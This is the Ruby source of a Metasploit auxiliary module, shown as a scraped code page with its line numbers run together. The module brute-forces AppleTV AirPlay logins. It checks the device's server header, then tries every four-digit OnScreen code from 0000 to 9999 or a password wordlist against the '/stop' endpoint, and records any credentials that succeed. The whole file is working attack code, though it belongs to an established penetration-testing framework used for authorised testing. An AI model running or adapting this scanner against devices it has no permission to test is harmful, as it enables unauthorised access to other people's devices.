Path: blob/master/modules/auxiliary/scanner/http/appletv_login.rb
76140 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'metasploit/framework/credential_collection'6require 'metasploit/framework/login_scanner/http'78class MetasploitModule < Msf::Auxiliary9include Msf::Exploit::Remote::HttpClient10include Msf::Auxiliary::Report11include Msf::Auxiliary::AuthBrute12include Msf::Auxiliary::Scanner1314def initialize15super(16'Name' => 'AppleTV AirPlay Login Utility',17'Description' => %q(18This module attempts to authenticate to an AppleTV service with19the username, 'AirPlay'. The device has two different access control20modes: OnScreen and Password. The difference between the two is the21password in OnScreen mode is numeric-only and four digits long, which22means when this option is enabled, this option, the module will make23sure to cover all of them - from 0000 to 9999. The Password mode is24more complex, therefore the usual online bruteforce strategies apply.25),26'Author' => [27'0a29406d9794e4f9b30b3c5d6702c708', # Original28'thelightcosine' # LoginScanner conversion help29],30'License' => MSF_LICENSE,31'References' => [32['URL', 'http://nto.github.io/AirPlay.html']33],34'DefaultOptions' => {35'RPORT' => 7000, # AppleTV's server36'STOP_ON_SUCCESS' => true # There's only one password with the same username37}38)3940register_options(41[42OptBool.new('Onscreen', [false, 'Enable if AppleTV is using the Onscreen access control', false]),43OptPath.new('PASS_FILE', [44false,45'File containing passwords, one per line',46File.join(Msf::Config.data_directory, 'wordlists', 'http_default_pass.txt')47])48]49)5051deregister_options(52'USERNAME', 'USER_AS_PASS', 'DB_ALL_CREDS', 'DB_ALL_USERS', 'DB_SKIP_EXISTING',53'NTLM::SendLM', 'NTLM::SendNTLM', 'NTLM::SendSPN', 'NTLM::UseLMKey', 'NTLM::UseNTLM2_session', 'NTLM::UseNTLMv2',54'REMOVE_USERPASS_FILE', 'REMOVE_USER_FILE', 'DOMAIN', 'HttpUsername'55)56end5758def run_host(ip)59res = send_request_cgi({60'method' => 'GET',61'uri' => '/server-info'62})6364unless res65print_error("#{peer} - Could not connect to the AppleTV service")66return67end6869unless res.headers['Server']&.include?('AirTunes')70print_error("#{peer} - Host does not appear to be an AppleTV AirPlay device. Module will not continue.")71return72end7374uri = "/stop"75if datastore['PASS_FILE'] && !datastore['PASS_FILE'].empty?76print_status("Attempting to login to #{uri} using password list")77cred_collection = Metasploit::Framework::CredentialCollection.new(78blank_passwords: datastore['BLANK_PASSWORDS'],79pass_file: datastore['PASS_FILE'],80username: 'AirPlay',81user_as_pass: datastore['USER_AS_PASS']82)83cred_collection = prepend_db_passwords(cred_collection)84else85print_status("Attempting to login to #{uri} by 'Onscreen Code'")86cred_collection = LockCodeCollection.new87end8889scanner = Metasploit::Framework::LoginScanner::HTTP.new(90configure_http_login_scanner(91uri: "/stop",92cred_details: cred_collection,93stop_on_success: datastore['STOP_ON_SUCCESS'],94bruteforce_speed: datastore['BRUTEFORCE_SPEED'],95connection_timeout: 596)97)9899scanner.scan! do |result|100credential_data = result.to_h101credential_data.merge!(102module_fullname: self.fullname,103workspace_id: myworkspace_id,104service_name: 'airplay'105)106case result.status107when Metasploit::Model::Login::Status::SUCCESSFUL108print_brute :level => :good, :ip => ip, :msg => "Success: '#{result.credential}'"109credential_core = create_credential(credential_data)110credential_data[:core] = credential_core111create_credential_login(credential_data)112:next_user113when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT114print_brute :level => :verror, :ip => ip, :msg => "Could not connect"115invalidate_login(credential_data)116:abort117when Metasploit::Model::Login::Status::INCORRECT118print_brute :level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}'"119invalidate_login(credential_data)120when Metasploit::Model::Login::Status::NO_AUTH_REQUIRED121print_brute :level => :error, :ip => ip, :msg => "NO AUTH REQUIRED: '#{result.credential}'"122break123end124end125end126127# This class is just a faster way of doing our LockCode enumeration. We could just stick this into128# a CredentialCollection, but since we have a pre-set range we iterate through, it is easier to do it129# at runtime.130class LockCodeCollection131132def each133(0..9999).each do |pass|134screen_code = Metasploit::Framework::Credential.new(public: 'AirPlay', private: pass.to_s.rjust(4, '0'), realm: nil, private_type: :password)135yield screen_code136end137end138end139end140141142